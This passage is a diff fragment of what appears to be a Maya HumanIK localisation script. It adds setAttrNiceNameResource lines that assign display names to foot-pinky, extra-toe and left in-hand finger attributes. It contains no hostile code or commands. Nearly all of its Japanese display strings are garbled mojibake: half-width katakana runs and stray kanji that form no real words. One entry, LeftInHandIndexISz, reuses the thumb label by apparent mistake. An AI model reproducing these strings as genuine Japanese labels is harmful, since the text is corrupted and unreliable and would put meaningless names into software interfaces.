ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PostR", "モメスナミ。ヨコ 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PostRx", "モメスナミ。ヨコ 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PostRy", "モメスナミ。ヨコ 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PostRz", "モメスナミ。ヨコ 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3T", "モメスナミ。ヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Tx", "モメスナミ。ヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Ty", "モメスナミ。ヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Tz", "モメスナミ。ヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3R", "モメスナミ。ヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Rx", "モメスナミ。ヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Ry", "モメスナミ。ヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Rz", "モメスナミ。ヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3S", "モメスナミ。ヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Sx", "モメスナミ。ヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Sy", "モメスナミ。ヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Sz", "モメスナミ。ヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PGX", "モメスナミ。ヨコ 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3ROrder", "モメスナミ。ヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3SC", "モメスナミ。ヨコ 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3IS", "モメスナミ。ヨコ 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3ISx", "モメスナミ。ヨコ 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3ISy", "モメスナミ。ヨコ 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3ISz", "モメスナミ。ヨコ 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PreR", "モメスナミ。ヨコ 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PreRx", "モメスナミ。ヨコ 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PreRy", "モメスナミ。ヨコ 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PreRz", "モメスナミ。ヨコ 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PostR", "モメスナミ。ヨコ 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PostRx", "モメスナミ。ヨコ 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PostRy", "モメスナミ。ヨコ 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PostRz", "モメスナミ。ヨコ 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4T", "モメスナミ。ヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Tx", "モメスナミ。ヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Ty", "モメスナミ。ヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Tz", "モメスナミ。ヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4R", "モメスナミ。ヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Rx", "モメスナミ。ヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Ry", "モメスナミ。ヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Rz", "モメスナミ。ヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4S", "モメスナミ。ヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Sx", "モメスナミ。ヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Sy", "モメスナミ。ヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4Sz", "モメスナミ。ヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PGX", "モメスナミ。ヨコ 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4ROrder", "モメスナミ。ヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4SC", "モメスナミ。ヨコ 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4IS", "モメスナミ。ヨコ 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4ISx", "モメスナミ。ヨコ 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4ISy", "モメスナミ。ヨコ 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4ISz", "モメスナミ。ヨコ 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PreR", "モメスナミ。ヨコ 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PreRx", "モメスナミ。ヨコ 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PreRy", "モメスナミ。ヨコ 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PreRz", "モメスナミ。ヨコ 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PostR", "モメスナミ。ヨコ 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PostRx", "モメスナミ。ヨコ 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PostRy", "モメスナミ。ヨコ 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky4PostRz", "モメスナミ。ヨコ 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1T", "モメスナチヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Tx", "モメスナチヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Ty", "モメスナチヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Tz", "モメスナチヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1R", "モメスナチヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Rx", "モメスナチヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Ry", "モメスナチヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Rz", "モメスナチヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1S", "モメスナチヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Sx", "モメスナチヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Sy", "モメスナチヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1Sz", "モメスナチヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PGX", "モメスナチヨコ 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1ROrder", "モメスナチヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1SC", "モメスナチヨコ 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1IS", "モメスナチヨコ 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1ISx", "モメスナチヨコ 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1ISy", "モメスナチヨコ 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1ISz", "モメスナチヨコ 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PreR", "モメスナチヨコ 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PreRx", "モメスナチヨコ 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PreRy", "モメスナチヨコ 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PreRz", "モメスナチヨコ 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PostR", "モメスナチヨコ 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PostRx", "モメスナチヨコ 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PostRy", "モメスナチヨコ 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger1PostRz", "モメスナチヨコ 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2T", "モメスナチヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Tx", "モメスナチヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Ty", "モメスナチヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Tz", "モメスナチヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2R", "モメスナチヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Rx", "モメスナチヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Ry", "モメスナチヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Rz", "モメスナチヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2S", "モメスナチヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Sx", "モメスナチヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Sy", "モメスナチヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2Sz", "モメスナチヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PGX", "モメスナチヨコ 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2ROrder", "モメスナチヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2SC", "モメスナチヨコ 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2IS", "モメスナチヨコ 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2ISx", "モメスナチヨコ 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2ISy", "モメスナチヨコ 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2ISz", "モメスナチヨコ 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PreR", "モメスナチヨコ 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PreRx", "モメスナチヨコ 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PreRy", "モメスナチヨコ 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PreRz", "モメスナチヨコ 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PostR", "モメスナチヨコ 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PostRx", "モメスナチヨコ 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PostRy", "モメスナチヨコ 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger2PostRz", "モメスナチヨコ 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3T", "モメスナチヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Tx", "モメスナチヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Ty", "モメスナチヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Tz", "モメスナチヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3R", "モメスナチヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Rx", "モメスナチヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Ry", "モメスナチヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Rz", "モメスナチヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3S", "モメスナチヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Sx", "モメスナチヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Sy", "モメスナチヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3Sz", "モメスナチヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PGX", "モメスナチヨコ 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3ROrder", "モメスナチヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3SC", "モメスナチヨコ 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3IS", "モメスナチヨコ 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3ISx", "モメスナチヨコ 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3ISy", "モメスナチヨコ 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3ISz", "モメスナチヨコ 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PreR", "モメスナチヨコ 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PreRx", "モメスナチヨコ 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PreRy", "モメスナチヨコ 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PreRz", "モメスナチヨコ 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PostR", "モメスナチヨコ 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PostRx", "モメスナチヨコ 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PostRy", "モメスナチヨコ 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger3PostRz", "モメスナチヨコ 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4T", "モメスナチヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Tx", "モメスナチヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Ty", "モメスナチヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Tz", "モメスナチヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4R", "モメスナチヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Rx", "モメスナチヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Ry", "モメスナチヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Rz", "モメスナチヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4S", "モメスナチヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Sx", "モメスナチヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Sy", "モメスナチヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4Sz", "モメスナチヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PGX", "モメスナチヨコ 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4ROrder", "モメスナチヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4SC", "モメスナチヨコ 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4IS", "モメスナチヨコ 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4ISx", "モメスナチヨコ 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4ISy", "モメスナチヨコ 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4ISz", "モメスナチヨコ 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PreR", "モメスナチヨコ 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PreRx", "モメスナチヨコ 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PreRy", "モメスナチヨコ 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PreRz", "モメスナチヨコ 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PostR", "モメスナチヨコ 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PostRx", "モメスナチヨコ 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PostRy", "モメスナチヨコ 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootExtraFinger4PostRz", "モメスナチヨコ 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbT", "ラハヨトエヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbTx", "ラハヨトエヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbTy", "ラハヨトエヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbTz", "ラハヨトエヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbR", "ラハヨトエヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbRx", "ラハヨトエヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbRy", "ラハヨトエヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbRz", "ラハヨトエヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbS", "ラハヨトエヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbSx", "ラハヨトエヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbSy", "ラハヨトエヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbSz", "ラハヨトエヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPGX", "ラハヨトエヨクトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbROrder", "ラハヨトエヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbSC", "ラハヨトエヨクトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbIS", "ラハヨトエヨクトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbISx", "ラハヨトエヨクトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbISy", "ラハヨトエヨクトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbISz", "ラハヨトエヨクトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPreR", "ラハヨトエヨクトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPreRx", "ラハヨトエヨクトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPreRy", "ラハヨトエヨクトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPreRz", "ラハヨトエヨクトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPostR", "ラハヨトエヨクトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPostRx", "ラハヨトエヨクトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPostRy", "ラハヨトエヨクトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandThumbPostRz", "ラハヨトエヨクトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexT", "ラハヨハウヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexTx", "ラハヨハウヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexTy", "ラハヨハウヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexTz", "ラハヨハウヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexR", "ラハヨハウヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexRx", "ラハヨハウヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexRy", "ラハヨハウヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexRz", "ラハヨハウヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexS", "ラハヨハウヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexSx", "ラハヨハウヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexSy", "ラハヨハウヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexSz", "ラハヨハウヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPGX", "ラハヨハウヨクトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexROrder", "ラハヨハウヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexSC", "ラハヨハウヨクトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexIS", "ラハヨハウヨクトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexISx", "ラハヨハウヨクトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexISy", "ラハヨハウヨクトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexISz", "ラハヨトエヨクトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPreR", "ラハヨハウヨクトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPreRx", "ラハヨハウヨクトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPreRy", "ラハヨハウヨクトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPreRz", "ラハヨハウヨクトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPostR", "ラハヨハウヨクトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPostRx", "ラハヨハウヨクトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPostRy", "ラハヨハウヨクトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandIndexPostRz", "ラハヨハウヨクトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleT", "ラハヨヨミヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleTx", "ラハヨヨミヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleTy", "ラハヨヨミヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleTz", "ラハヨヨミヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleR", "ラハヨヨミヨクトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleRx", "ラハヨヨミヨクトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleRy", "ラハヨヨミヨクトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleRz", "ラハヨヨミヨクトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleS", "ラハヨヨミヨクトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleSx", "ラハヨヨミヨクトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleSy", "ラハヨヨミヨクトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleSz", "ラハヨヨミヨクトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePGX", "ラハヨヨミヨクトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleROrder", "ラハヨヨミヨクトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleSC", "ラハヨヨミヨクトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleIS", "ラハヨヨミヨクトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleISx", "ラハヨヨミヨクトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleISy", "ラハヨヨミヨクトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddleISz", "ラハヨヨミヨクトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePreR", "ラハヨヨミヨクトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePreRx", "ラハヨヨミヨクトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePreRy", "ラハヨヨミヨクトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePreRz", "ラハヨヨミヨクトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePostR", "ラハヨヨミヨクトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePostRx", "ラハヨヨミヨクトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePostRy", "ラハヨヨミヨクトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandMiddlePostRz", "ラハヨヨミヨクトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingT", "ラハヨボテヨクトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingTx", "ラハヨボテヨクトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingTy", "ラハヨボテヨクトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandRingTz", "ラハヨボテヨクトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", 